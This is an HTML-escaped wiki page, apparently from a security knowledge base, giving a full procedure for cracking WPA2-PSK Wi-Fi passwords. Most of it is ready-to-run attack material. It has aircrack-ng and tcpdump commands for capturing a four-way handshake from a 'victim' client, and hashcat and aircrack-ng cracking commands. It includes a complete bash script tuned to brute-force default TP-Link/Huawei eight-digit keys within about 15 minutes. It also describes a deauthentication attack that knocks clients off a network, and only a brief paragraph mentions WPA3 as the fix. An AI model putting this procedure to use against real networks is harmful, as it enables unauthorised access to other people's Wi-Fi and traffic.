&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
